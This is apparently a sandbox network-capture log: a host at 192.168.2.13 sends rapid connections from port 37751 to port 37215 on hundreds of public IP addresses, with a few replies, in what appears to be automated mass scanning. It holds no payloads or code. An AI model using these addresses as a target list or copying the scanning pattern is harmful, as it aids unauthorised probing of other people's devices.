Jan 1, 2024 12:51:48.996990919 CET	37751	37215	192.168.2.13	41.168.121.206
Jan 1, 2024 12:51:48.996990919 CET	37751	37215	192.168.2.13	41.145.238.44
Jan 1, 2024 12:51:48.996990919 CET	37751	37215	192.168.2.13	37.1.227.105
Jan 1, 2024 12:51:48.996992111 CET	37751	37215	192.168.2.13	156.146.60.189
Jan 1, 2024 12:51:48.997004032 CET	37751	37215	192.168.2.13	102.160.146.210
Jan 1, 2024 12:51:48.997004032 CET	37751	37215	192.168.2.13	197.132.201.66
Jan 1, 2024 12:51:48.997006893 CET	37751	37215	192.168.2.13	41.158.124.37
Jan 1, 2024 12:51:48.997006893 CET	37751	37215	192.168.2.13	156.82.61.178
Jan 1, 2024 12:51:48.997006893 CET	37751	37215	192.168.2.13	196.232.60.85
Jan 1, 2024 12:51:48.997006893 CET	37751	37215	192.168.2.13	154.24.205.46
Jan 1, 2024 12:51:48.997009039 CET	37751	37215	192.168.2.13	197.180.227.66
Jan 1, 2024 12:51:48.997009993 CET	37751	37215	192.168.2.13	102.35.47.85
Jan 1, 2024 12:51:48.997019053 CET	37751	37215	192.168.2.13	197.34.32.153
Jan 1, 2024 12:51:48.997025967 CET	37751	37215	192.168.2.13	41.201.42.180
Jan 1, 2024 12:51:48.997031927 CET	37751	37215	192.168.2.13	197.68.139.76
Jan 1, 2024 12:51:48.997030973 CET	37751	37215	192.168.2.13	186.224.137.104
Jan 1, 2024 12:51:48.997040987 CET	37751	37215	192.168.2.13	156.35.37.40
Jan 1, 2024 12:51:48.997041941 CET	37751	37215	192.168.2.13	92.69.13.93
Jan 1, 2024 12:51:48.997055054 CET	37751	37215	192.168.2.13	107.184.99.177
Jan 1, 2024 12:51:48.997055054 CET	37751	37215	192.168.2.13	156.122.49.248
Jan 1, 2024 12:51:48.997057915 CET	37751	37215	192.168.2.13	156.122.159.80
Jan 1, 2024 12:51:48.997059107 CET	37751	37215	192.168.2.13	156.240.228.174
Jan 1, 2024 12:51:48.997066021 CET	37751	37215	192.168.2.13	190.137.111.209
Jan 1, 2024 12:51:48.997066975 CET	37751	37215	192.168.2.13	121.96.97.115
Jan 1, 2024 12:51:48.997071981 CET	37751	37215	192.168.2.13	41.169.47.226
Jan 1, 2024 12:51:48.997080088 CET	37751	37215	192.168.2.13	37.65.104.76
Jan 1, 2024 12:51:48.997080088 CET	37751	37215	192.168.2.13	122.65.143.105
Jan 1, 2024 12:51:48.997086048 CET	37751	37215	192.168.2.13	156.189.149.216
Jan 1, 2024 12:51:48.997086048 CET	37751	37215	192.168.2.13	156.133.178.242
Jan 1, 2024 12:51:48.997097015 CET	37751	37215	192.168.2.13	196.140.62.226
Jan 1, 2024 12:51:48.997098923 CET	37751	37215	192.168.2.13	41.132.158.177
Jan 1, 2024 12:51:48.997106075 CET	37751	37215	192.168.2.13	41.113.249.138
Jan 1, 2024 12:51:49.165302038 CET	37215	37751	156.73.32.114	192.168.2.13
Jan 1, 2024 12:51:49.165363073 CET	37751	37215	192.168.2.13	156.73.32.114
Jan 1, 2024 12:51:49.294154882 CET	37215	37751	122.232.78.254	192.168.2.13
Jan 1, 2024 12:51:49.300091028 CET	37215	37751	121.134.53.201	192.168.2.13
Jan 1, 2024 12:51:49.302830935 CET	37215	37751	121.149.224.195	192.168.2.13
Jan 1, 2024 12:51:49.303164959 CET	37215	37751	107.151.241.74	192.168.2.13
Jan 1, 2024 12:51:49.317734003 CET	37215	37751	156.252.75.184	192.168.2.13
Jan 1, 2024 12:51:49.334898949 CET	37215	37751	222.74.198.77	192.168.2.13
Jan 1, 2024 12:51:49.364629984 CET	37215	37751	41.164.153.97	192.168.2.13
Jan 1, 2024 12:51:49.378319979 CET	37215	37751	41.242.70.188	192.168.2.13
Jan 1, 2024 12:51:49.998256922 CET	37751	37215	192.168.2.13	156.240.57.67
Jan 1, 2024 12:51:49.998255014 CET	37751	37215	192.168.2.13	120.7.152.87
Jan 1, 2024 12:51:49.998262882 CET	37751	37215	192.168.2.13	197.245.199.96
Jan 1, 2024 12:51:49.998274088 CET	37751	37215	192.168.2.13	41.19.117.191
Jan 1, 2024 12:51:49.998276949 CET	37751	37215	192.168.2.13	107.100.91.67
Jan 1, 2024 12:51:49.998282909 CET	37751	37215	192.168.2.13	41.114.168.3
Jan 1, 2024 12:51:49.998306990 CET	37751	37215	192.168.2.13	95.24.204.52
Jan 1, 2024 12:51:49.998317957 CET	37751	37215	192.168.2.13	222.252.240.187
Jan 1, 2024 12:51:49.998317957 CET	37751	37215	192.168.2.13	41.123.108.247
Jan 1, 2024 12:51:49.998317957 CET	37751	37215	192.168.2.13	41.100.124.126
Jan 1, 2024 12:51:49.998317957 CET	37751	37215	192.168.2.13	41.148.51.221
Jan 1, 2024 12:51:49.998317957 CET	37751	37215	192.168.2.13	156.38.92.197
Jan 1, 2024 12:51:49.998317957 CET	37751	37215	192.168.2.13	197.217.201.38
Jan 1, 2024 12:51:49.998327971 CET	37751	37215	192.168.2.13	156.18.84.123
Jan 1, 2024 12:51:49.998327971 CET	37751	37215	192.168.2.13	45.27.182.66
Jan 1, 2024 12:51:49.998331070 CET	37751	37215	192.168.2.13	197.122.53.136
Jan 1, 2024 12:51:49.998331070 CET	37751	37215	192.168.2.13	160.75.97.122
Jan 1, 2024 12:51:49.998331070 CET	37751	37215	192.168.2.13	156.93.164.108
Jan 1, 2024 12:51:49.998331070 CET	37751	37215	192.168.2.13	41.12.105.243
Jan 1, 2024 12:51:49.998333931 CET	37751	37215	192.168.2.13	197.89.72.250
Jan 1, 2024 12:51:49.998338938 CET	37751	37215	192.168.2.13	197.63.161.101
Jan 1, 2024 12:51:49.998338938 CET	37751	37215	192.168.2.13	197.188.251.190
Jan 1, 2024 12:51:49.998343945 CET	37751	37215	192.168.2.13	197.114.255.32
Jan 1, 2024 12:51:49.998343945 CET	37751	37215	192.168.2.13	41.165.183.47
Jan 1, 2024 12:51:49.998343945 CET	37751	37215	192.168.2.13	107.252.220.254
Jan 1, 2024 12:51:49.998351097 CET	37751	37215	192.168.2.13	41.173.34.38
Jan 1, 2024 12:51:49.998347998 CET	37751	37215	192.168.2.13	41.163.249.107
Jan 1, 2024 12:51:49.998351097 CET	37751	37215	192.168.2.13	41.104.15.40
Jan 1, 2024 12:51:49.998353004 CET	37751	37215	192.168.2.13	121.24.216.32
Jan 1, 2024 12:51:49.998358965 CET	37751	37215	192.168.2.13	156.68.160.141
Jan 1, 2024 12:51:49.998358965 CET	37751	37215	192.168.2.13	120.98.126.179
Jan 1, 2024 12:51:49.998367071 CET	37751	37215	192.168.2.13	154.81.71.29
Jan 1, 2024 12:51:49.998367071 CET	37751	37215	192.168.2.13	197.46.8.232
Jan 1, 2024 12:51:49.998374939 CET	37751	37215	192.168.2.13	156.90.201.197
Jan 1, 2024 12:51:49.998378992 CET	37751	37215	192.168.2.13	41.21.202.137
Jan 1, 2024 12:51:49.998379946 CET	37751	37215	192.168.2.13	154.20.200.216
Jan 1, 2024 12:51:49.998383999 CET	37751	37215	192.168.2.13	94.119.183.122
Jan 1, 2024 12:51:49.998395920 CET	37751	37215	192.168.2.13	197.211.181.16
Jan 1, 2024 12:51:49.998402119 CET	37751	37215	192.168.2.13	41.119.108.63
Jan 1, 2024 12:51:49.998409986 CET	37751	37215	192.168.2.13	156.126.28.182
Jan 1, 2024 12:51:49.998409986 CET	37751	37215	192.168.2.13	92.199.215.129
Jan 1, 2024 12:51:49.998409986 CET	37751	37215	192.168.2.13	156.203.229.48
Jan 1, 2024 12:51:49.998414993 CET	37751	37215	192.168.2.13	120.166.126.235
Jan 1, 2024 12:51:49.998425961 CET	37751	37215	192.168.2.13	197.125.103.82
Jan 1, 2024 12:51:49.998425961 CET	37751	37215	192.168.2.13	197.105.118.233
Jan 1, 2024 12:51:49.998428106 CET	37751	37215	192.168.2.13	41.27.160.172
Jan 1, 2024 12:51:49.998440981 CET	37751	37215	192.168.2.13	95.42.30.62
Jan 1, 2024 12:51:49.998440981 CET	37751	37215	192.168.2.13	41.115.148.4
Jan 1, 2024 12:51:49.998447895 CET	37751	37215	192.168.2.13	197.60.25.237
Jan 1, 2024 12:51:49.998449087 CET	37751	37215	192.168.2.13	95.74.179.154
Jan 1, 2024 12:51:49.998449087 CET	37751	37215	192.168.2.13	45.46.36.134
Jan 1, 2024 12:51:49.998451948 CET	37751	37215	192.168.2.13	156.231.206.253
Jan 1, 2024 12:51:49.998467922 CET	37751	37215	192.168.2.13	156.154.161.97
Jan 1, 2024 12:51:49.998469114 CET	37751	37215	192.168.2.13	156.142.137.149
Jan 1, 2024 12:51:49.998469114 CET	37751	37215	192.168.2.13	156.2.196.246
Jan 1, 2024 12:51:49.998469114 CET	37751	37215	192.168.2.13	157.97.84.239
Jan 1, 2024 12:51:49.998475075 CET	37751	37215	192.168.2.13	181.9.78.124
Jan 1, 2024 12:51:49.998480082 CET	37751	37215	192.168.2.13	197.229.59.107
Jan 1, 2024 12:51:49.998481035 CET	37751	37215	192.168.2.13	138.117.223.197
Jan 1, 2024 12:51:49.998486996 CET	37751	37215	192.168.2.13	197.61.38.149
Jan 1, 2024 12:51:49.998486996 CET	37751	37215	192.168.2.13	156.215.195.244
Jan 1, 2024 12:51:49.998486996 CET	37751	37215	192.168.2.13	138.64.175.34
Jan 1, 2024 12:51:49.998509884 CET	37751	37215	192.168.2.13	41.125.0.110
Jan 1, 2024 12:51:49.998511076 CET	37751	37215	192.168.2.13	156.85.171.84
Jan 1, 2024 12:51:49.998509884 CET	37751	37215	192.168.2.13	37.66.171.207
Jan 1, 2024 12:51:49.998511076 CET	37751	37215	192.168.2.13	156.71.70.122
Jan 1, 2024 12:51:49.998509884 CET	37751	37215	192.168.2.13	222.102.99.253
Jan 1, 2024 12:51:49.998511076 CET	37751	37215	192.168.2.13	41.94.60.138
Jan 1, 2024 12:51:49.998509884 CET	37751	37215	192.168.2.13	197.130.210.108
Jan 1, 2024 12:51:49.998511076 CET	37751	37215	192.168.2.13	156.184.215.7
Jan 1, 2024 12:51:49.998509884 CET	37751	37215	192.168.2.13	107.71.158.231
Jan 1, 2024 12:51:49.998511076 CET	37751	37215	192.168.2.13	197.177.152.183
Jan 1, 2024 12:51:49.998519897 CET	37751	37215	192.168.2.13	196.196.11.134
Jan 1, 2024 12:51:49.998519897 CET	37751	37215	192.168.2.13	41.246.57.65
Jan 1, 2024 12:51:49.998522043 CET	37751	37215	192.168.2.13	197.12.158.103
Jan 1, 2024 12:51:49.998537064 CET	37751	37215	192.168.2.13	197.255.150.183
Jan 1, 2024 12:51:49.998548031 CET	37751	37215	192.168.2.13	157.223.77.10
Jan 1, 2024 12:51:49.998548985 CET	37751	37215	192.168.2.13	41.115.11.109
Jan 1, 2024 12:51:49.998549938 CET	37751	37215	192.168.2.13	156.223.94.147
Jan 1, 2024 12:51:49.998553991 CET	37751	37215	192.168.2.13	197.166.15.114
Jan 1, 2024 12:51:49.998553991 CET	37751	37215	192.168.2.13	197.22.39.162
Jan 1, 2024 12:51:49.998553991 CET	37751	37215	192.168.2.13	41.161.101.117
Jan 1, 2024 12:51:49.998553991 CET	37751	37215	192.168.2.13	122.63.96.26
Jan 1, 2024 12:51:49.998573065 CET	37751	37215	192.168.2.13	156.50.151.37
Jan 1, 2024 12:51:49.998573065 CET	37751	37215	192.168.2.13	92.175.92.44
Jan 1, 2024 12:51:49.998573065 CET	37751	37215	192.168.2.13	41.216.253.241
Jan 1, 2024 12:51:49.998579025 CET	37751	37215	192.168.2.13	41.0.77.65
Jan 1, 2024 12:51:49.998579025 CET	37751	37215	192.168.2.13	156.209.126.105
Jan 1, 2024 12:51:49.998583078 CET	37751	37215	192.168.2.13	197.56.26.15
Jan 1, 2024 12:51:49.998591900 CET	37751	37215	192.168.2.13	156.126.62.177
Jan 1, 2024 12:51:49.998595953 CET	37751	37215	192.168.2.13	45.48.102.250
Jan 1, 2024 12:51:49.998600006 CET	37751	37215	192.168.2.13	41.60.0.220
Jan 1, 2024 12:51:49.998603106 CET	37751	37215	192.168.2.13	156.17.253.217
Jan 1, 2024 12:51:49.998604059 CET	37751	37215	192.168.2.13	156.135.200.173
Jan 1, 2024 12:51:49.998605013 CET	37751	37215	192.168.2.13	41.81.158.235
Jan 1, 2024 12:51:49.998605967 CET	37751	37215	192.168.2.13	156.133.53.15
Jan 1, 2024 12:51:49.998639107 CET	37751	37215	192.168.2.13	120.60.74.32
Jan 1, 2024 12:51:49.998655081 CET	37751	37215	192.168.2.13	95.2.94.48
Jan 1, 2024 12:51:49.998655081 CET	37751	37215	192.168.2.13	41.203.88.91
Jan 1, 2024 12:51:49.998658895 CET	37751	37215	192.168.2.13	41.172.173.57
Jan 1, 2024 12:51:49.998660088 CET	37751	37215	192.168.2.13	197.198.145.36
Jan 1, 2024 12:51:49.998661041 CET	37751	37215	192.168.2.13	156.30.107.34
Jan 1, 2024 12:51:49.998661995 CET	37751	37215	192.168.2.13	197.110.226.122
Jan 1, 2024 12:51:49.998661995 CET	37751	37215	192.168.2.13	120.225.225.16
Jan 1, 2024 12:51:49.998661995 CET	37751	37215	192.168.2.13	156.244.218.48
Jan 1, 2024 12:51:49.998661995 CET	37751	37215	192.168.2.13	197.168.94.220
Jan 1, 2024 12:51:49.998661995 CET	37751	37215	192.168.2.13	197.169.20.190
Jan 1, 2024 12:51:49.998661995 CET	37751	37215	192.168.2.13	92.237.179.180
Jan 1, 2024 12:51:49.998672962 CET	37751	37215	192.168.2.13	156.111.227.213
Jan 1, 2024 12:51:49.998676062 CET	37751	37215	192.168.2.13	41.195.247.72
Jan 1, 2024 12:51:49.998677015 CET	37751	37215	192.168.2.13	102.214.187.184
Jan 1, 2024 12:51:49.998677969 CET	37751	37215	192.168.2.13	156.126.170.129
Jan 1, 2024 12:51:49.998677969 CET	37751	37215	192.168.2.13	222.244.232.191
Jan 1, 2024 12:51:49.998680115 CET	37751	37215	192.168.2.13	197.238.188.65
Jan 1, 2024 12:51:49.998680115 CET	37751	37215	192.168.2.13	94.160.7.125
Jan 1, 2024 12:51:49.998680115 CET	37751	37215	192.168.2.13	120.167.127.132
Jan 1, 2024 12:51:49.998680115 CET	37751	37215	192.168.2.13	156.231.228.205
Jan 1, 2024 12:51:49.998680115 CET	37751	37215	192.168.2.13	41.163.196.189
Jan 1, 2024 12:51:49.998682022 CET	37751	37215	192.168.2.13	156.29.93.152
Jan 1, 2024 12:51:49.998682976 CET	37751	37215	192.168.2.13	154.21.210.133
Jan 1, 2024 12:51:49.998682976 CET	37751	37215	192.168.2.13	41.156.145.162
Jan 1, 2024 12:51:49.998682976 CET	37751	37215	192.168.2.13	92.174.241.137
Jan 1, 2024 12:51:49.998682976 CET	37751	37215	192.168.2.13	197.234.236.16
Jan 1, 2024 12:51:49.998697996 CET	37751	37215	192.168.2.13	107.220.190.165
Jan 1, 2024 12:51:49.998697996 CET	37751	37215	192.168.2.13	41.214.71.131
Jan 1, 2024 12:51:49.998697996 CET	37751	37215	192.168.2.13	197.51.125.190
Jan 1, 2024 12:51:49.998699903 CET	37751	37215	192.168.2.13	121.90.191.126
Jan 1, 2024 12:51:49.998699903 CET	37751	37215	192.168.2.13	41.118.173.200
Jan 1, 2024 12:51:49.998701096 CET	37751	37215	192.168.2.13	156.133.248.181
Jan 1, 2024 12:51:49.998701096 CET	37751	37215	192.168.2.13	41.211.46.222
Jan 1, 2024 12:51:49.998701096 CET	37751	37215	192.168.2.13	156.132.39.49
Jan 1, 2024 12:51:49.998702049 CET	37751	37215	192.168.2.13	196.85.183.182
Jan 1, 2024 12:51:49.998702049 CET	37751	37215	192.168.2.13	154.67.86.47
Jan 1, 2024 12:51:49.998702049 CET	37751	37215	192.168.2.13	186.233.228.184
Jan 1, 2024 12:51:49.998704910 CET	37751	37215	192.168.2.13	222.62.235.47
Jan 1, 2024 12:51:49.998704910 CET	37751	37215	192.168.2.13	197.31.147.126
Jan 1, 2024 12:51:49.998704910 CET	37751	37215	192.168.2.13	154.109.42.201
Jan 1, 2024 12:51:49.998711109 CET	37751	37215	192.168.2.13	95.160.67.130
Jan 1, 2024 12:51:49.998711109 CET	37751	37215	192.168.2.13	138.50.70.193
Jan 1, 2024 12:51:49.998711109 CET	37751	37215	192.168.2.13	197.104.181.72
Jan 1, 2024 12:51:49.998711109 CET	37751	37215	192.168.2.13	94.167.139.12
Jan 1, 2024 12:51:49.998711109 CET	37751	37215	192.168.2.13	222.184.71.235
Jan 1, 2024 12:51:49.998713970 CET	37751	37215	192.168.2.13	41.228.83.78
Jan 1, 2024 12:51:49.998718977 CET	37751	37215	192.168.2.13	154.123.222.198
Jan 1, 2024 12:51:49.998718977 CET	37751	37215	192.168.2.13	156.250.201.7
Jan 1, 2024 12:51:49.998718977 CET	37751	37215	192.168.2.13	197.138.134.35
Jan 1, 2024 12:51:49.998722076 CET	37751	37215	192.168.2.13	156.51.190.138
Jan 1, 2024 12:51:49.998729944 CET	37751	37215	192.168.2.13	156.198.226.210
Jan 1, 2024 12:51:49.998734951 CET	37751	37215	192.168.2.13	197.85.14.96
Jan 1, 2024 12:51:49.998737097 CET	37751	37215	192.168.2.13	156.207.31.241
Jan 1, 2024 12:51:49.998737097 CET	37751	37215	192.168.2.13	102.59.1.180
Jan 1, 2024 12:51:49.998742104 CET	37751	37215	192.168.2.13	156.19.135.177
Jan 1, 2024 12:51:49.998742104 CET	37751	37215	192.168.2.13	156.251.203.128
Jan 1, 2024 12:51:49.998742104 CET	37751	37215	192.168.2.13	102.187.47.152
Jan 1, 2024 12:51:49.998748064 CET	37751	37215	192.168.2.13	156.26.8.21
Jan 1, 2024 12:51:49.998749971 CET	37751	37215	192.168.2.13	156.99.111.4
Jan 1, 2024 12:51:49.998750925 CET	37751	37215	192.168.2.13	94.217.154.71
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	41.46.46.106
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	41.214.236.145
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	197.56.126.135
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	41.28.194.210
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	197.104.96.181
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	138.214.246.141
Jan 1, 2024 12:51:49.998766899 CET	37751	37215	192.168.2.13	41.203.48.89
Jan 1, 2024 12:51:49.998769999 CET	37751	37215	192.168.2.13	92.28.235.18
Jan 1, 2024 12:51:49.998770952 CET	37751	37215	192.168.2.13	41.201.211.226
Jan 1, 2024 12:51:49.998770952 CET	37751	37215	192.168.2.13	120.55.34.198
Jan 1, 2024 12:51:49.998774052 CET	37751	37215	192.168.2.13	41.133.24.26
Jan 1, 2024 12:51:49.998778105 CET	37751	37215	192.168.2.13	197.144.1.165
Jan 1, 2024 12:51:49.998778105 CET	37751	37215	192.168.2.13	197.98.248.50
Jan 1, 2024 12:51:49.998778105 CET	37751	37215	192.168.2.13	181.247.14.135
Jan 1, 2024 12:51:49.998778105 CET	37751	37215	192.168.2.13	196.155.254.192
Jan 1, 2024 12:51:49.998778105 CET	37751	37215	192.168.2.13	120.13.241.38
Jan 1, 2024 12:51:49.998778105 CET	37751	37215	192.168.2.13	41.30.186.62
Jan 1, 2024 12:51:49.998804092 CET	37751	37215	192.168.2.13	156.144.27.47
Jan 1, 2024 12:51:49.998807907 CET	37751	37215	192.168.2.13	197.25.252.219
Jan 1, 2024 12:51:49.998811007 CET	37751	37215	192.168.2.13	121.225.136.210
Jan 1, 2024 12:51:49.998811007 CET	37751	37215	192.168.2.13	156.169.148.213
Jan 1, 2024 12:51:49.998812914 CET	37751	37215	192.168.2.13	156.221.150.113
Jan 1, 2024 12:51:49.998821020 CET	37751	37215	192.168.2.13	41.69.58.10
Jan 1, 2024 12:51:49.998821974 CET	37751	37215	192.168.2.13	156.219.127.140
Jan 1, 2024 12:51:49.998828888 CET	37751	37215	192.168.2.13	156.186.141.180
Jan 1, 2024 12:51:49.998842001 CET	37751	37215	192.168.2.13	122.193.83.168
Jan 1, 2024 12:51:49.998843908 CET	37751	37215	192.168.2.13	41.51.85.112
Jan 1, 2024 12:51:49.998843908 CET	37751	37215	192.168.2.13	197.159.189.238
Jan 1, 2024 12:51:49.998845100 CET	37751	37215	192.168.2.13	41.128.32.234
Jan 1, 2024 12:51:49.998845100 CET	37751	37215	192.168.2.13	197.139.224.74
Jan 1, 2024 12:51:49.998858929 CET	37751	37215	192.168.2.13	138.82.243.183
Jan 1, 2024 12:51:49.998858929 CET	37751	37215	192.168.2.13	197.87.170.47
Jan 1, 2024 12:51:49.998862028 CET	37751	37215	192.168.2.13	157.224.131.174
Jan 1, 2024 12:51:49.998881102 CET	37751	37215	192.168.2.13	41.221.204.25
Jan 1, 2024 12:51:49.998882055 CET	37751	37215	192.168.2.13	197.187.74.5
Jan 1, 2024 12:51:49.998884916 CET	37751	37215	192.168.2.13	41.94.65.34
Jan 1, 2024 12:51:49.998887062 CET	37751	37215	192.168.2.13	156.131.219.227
Jan 1, 2024 12:51:49.998888016 CET	37751	37215	192.168.2.13	41.39.223.49
Jan 1, 2024 12:51:49.998891115 CET	37751	37215	192.168.2.13	156.112.168.253
Jan 1, 2024 12:51:49.998894930 CET	37751	37215	192.168.2.13	197.159.69.198
Jan 1, 2024 12:51:49.998894930 CET	37751	37215	192.168.2.13	41.213.23.255
Jan 1, 2024 12:51:49.998898029 CET	37751	37215	192.168.2.13	197.140.41.21
Jan 1, 2024 12:51:49.998902082 CET	37751	37215	192.168.2.13	92.198.0.5
Jan 1, 2024 12:51:49.998902082 CET	37751	37215	192.168.2.13	41.131.4.251
Jan 1, 2024 12:51:49.998902082 CET	37751	37215	192.168.2.13	181.221.67.194
Jan 1, 2024 12:51:49.998902082 CET	37751	37215	192.168.2.13	156.245.246.90
Jan 1, 2024 12:51:49.998902082 CET	37751	37215	192.168.2.13	157.125.143.127
Jan 1, 2024 12:51:49.998903036 CET	37751	37215	192.168.2.13	197.129.6.43
Jan 1, 2024 12:51:49.998903036 CET	37751	37215	192.168.2.13	197.254.222.32
Jan 1, 2024 12:51:49.998905897 CET	37751	37215	192.168.2.13	41.206.40.190
Jan 1, 2024 12:51:49.998908997 CET	37751	37215	192.168.2.13	154.157.115.126
Jan 1, 2024 12:51:49.998908997 CET	37751	37215	192.168.2.13	41.142.218.45
Jan 1, 2024 12:51:49.998912096 CET	37751	37215	192.168.2.13	92.166.134.192
Jan 1, 2024 12:51:49.998914957 CET	37751	37215	192.168.2.13	95.172.126.90
Jan 1, 2024 12:51:49.998914957 CET	37751	37215	192.168.2.13	41.185.30.179
Jan 1, 2024 12:51:49.998925924 CET	37751	37215	192.168.2.13	154.70.88.158
Jan 1, 2024 12:51:49.998927116 CET	37751	37215	192.168.2.13	197.200.214.63
Jan 1, 2024 12:51:49.998928070 CET	37751	37215	192.168.2.13	197.40.57.180
Jan 1, 2024 12:51:49.998944044 CET	37751	37215	192.168.2.13	154.148.4.75
Jan 1, 2024 12:51:49.998944998 CET	37751	37215	192.168.2.13	197.201.34.21
Jan 1, 2024 12:51:49.998944044 CET	37751	37215	192.168.2.13	156.149.162.214
Jan 1, 2024 12:51:49.998944044 CET	37751	37215	192.168.2.13	41.108.165.251
Jan 1, 2024 12:51:49.998944044 CET	37751	37215	192.168.2.13	197.226.80.34
Jan 1, 2024 12:51:49.998954058 CET	37751	37215	192.168.2.13	156.163.48.191
Jan 1, 2024 12:51:49.998955965 CET	37751	37215	192.168.2.13	156.183.192.193
Jan 1, 2024 12:51:49.998960018 CET	37751	37215	192.168.2.13	190.237.205.167
Jan 1, 2024 12:51:49.998960972 CET	37751	37215	192.168.2.13	197.113.38.250
Jan 1, 2024 12:51:49.998960972 CET	37751	37215	192.168.2.13	196.43.131.76
Jan 1, 2024 12:51:49.998960972 CET	37751	37215	192.168.2.13	156.29.47.69
Jan 1, 2024 12:51:49.998980999 CET	37751	37215	192.168.2.13	156.195.21.56
Jan 1, 2024 12:51:49.998980999 CET	37751	37215	192.168.2.13	156.25.105.229
Jan 1, 2024 12:51:49.999001980 CET	37751	37215	192.168.2.13	197.184.171.152
Jan 1, 2024 12:51:49.999020100 CET	37751	37215	192.168.2.13	197.196.163.241
Jan 1, 2024 12:51:49.999021053 CET	37751	37215	192.168.2.13	156.59.238.186
Jan 1, 2024 12:51:49.999021053 CET	37751	37215	192.168.2.13	120.20.31.150
Jan 1, 2024 12:51:49.999022961 CET	37751	37215	192.168.2.13	197.167.142.93
Jan 1, 2024 12:51:49.999020100 CET	37751	37215	192.168.2.13	197.47.152.34
Jan 1, 2024 12:51:49.999022961 CET	37751	37215	192.168.2.13	197.212.10.34
Jan 1, 2024 12:51:49.999021053 CET	37751	37215	192.168.2.13	41.145.39.0
Jan 1, 2024 12:51:49.999021053 CET	37751	37215	192.168.2.13	41.253.22.182
Jan 1, 2024 12:51:49.999022961 CET	37751	37215	192.168.2.13	197.129.238.75
Jan 1, 2024 12:51:49.999021053 CET	37751	37215	192.168.2.13	197.145.63.71
Jan 1, 2024 12:51:49.999022961 CET	37751	37215	192.168.2.13	156.19.76.141
Jan 1, 2024 12:51:49.999037981 CET	37751	37215	192.168.2.13	197.239.187.152
Jan 1, 2024 12:51:49.999037981 CET	37751	37215	192.168.2.13	95.113.3.244
Jan 1, 2024 12:51:49.999037981 CET	37751	37215	192.168.2.13	196.250.73.94
Jan 1, 2024 12:51:49.999038935 CET	37751	37215	192.168.2.13	41.56.167.204
Jan 1, 2024 12:51:49.999038935 CET	37751	37215	192.168.2.13	122.7.224.181
Jan 1, 2024 12:51:49.999044895 CET	37751	37215	192.168.2.13	102.62.228.149
Jan 1, 2024 12:51:49.999044895 CET	37751	37215	192.168.2.13	156.105.214.59
Jan 1, 2024 12:51:49.999044895 CET	37751	37215	192.168.2.13	41.129.242.174
Jan 1, 2024 12:51:49.999044895 CET	37751	37215	192.168.2.13	156.161.176.18
Jan 1, 2024 12:51:49.999044895 CET	37751	37215	192.168.2.13	156.46.149.114
Jan 1, 2024 12:51:49.999048948 CET	37751	37215	192.168.2.13	41.132.42.1
Jan 1, 2024 12:51:49.999048948 CET	37751	37215	192.168.2.13	156.34.74.18
Jan 1, 2024 12:51:49.999048948 CET	37751	37215	192.168.2.13	197.43.91.229
Jan 1, 2024 12:51:49.999052048 CET	37751	37215	192.168.2.13	197.173.68.101
Jan 1, 2024 12:51:49.999062061 CET	37751	37215	192.168.2.13	197.220.98.175
Jan 1, 2024 12:51:49.999062061 CET	37751	37215	192.168.2.13	181.233.239.68
Jan 1, 2024 12:51:49.999063015 CET	37751	37215	192.168.2.13	197.138.43.112
Jan 1, 2024 12:51:49.999063015 CET	37751	37215	192.168.2.13	197.99.52.23
Jan 1, 2024 12:51:49.999063015 CET	37751	37215	192.168.2.13	41.163.103.99
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	41.233.54.6
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	156.131.26.168
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	41.240.120.13
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	196.246.20.173
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	160.166.56.48
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	197.170.59.54
Jan 1, 2024 12:51:49.999074936 CET	37751	37215	192.168.2.13	41.76.121.146
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	41.177.249.23
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	197.161.113.113
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	222.55.167.202
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	45.91.25.43
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	107.67.212.99
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	37.220.17.56
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	197.184.69.218
Jan 1, 2024 12:51:49.999082088 CET	37751	37215	192.168.2.13	41.15.239.122
Jan 1, 2024 12:51:49.999090910 CET	37751	37215	192.168.2.13	190.204.224.252
Jan 1, 2024 12:51:49.999095917 CET	37751	37215	192.168.2.13	154.44.143.171
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	197.216.118.142
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	186.229.223.24
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	102.231.210.130
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	122.97.241.233
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	41.134.220.22
Jan 1, 2024 12:51:49.999109030 CET	37751	37215	192.168.2.13	222.98.117.87
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	41.255.104.88
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	197.70.215.14
Jan 1, 2024 12:51:49.999106884 CET	37751	37215	192.168.2.13	154.198.149.244
Jan 1, 2024 12:51:49.999111891 CET	37751	37215	192.168.2.13	95.118.113.66
Jan 1, 2024 12:51:49.999111891 CET	37751	37215	192.168.2.13	120.79.173.117
Jan 1, 2024 12:51:49.999111891 CET	37751	37215	192.168.2.13	120.132.215.163
Jan 1, 2024 12:51:49.999124050 CET	37751	37215	192.168.2.13	197.182.126.133
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	41.138.180.171
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	190.251.219.79
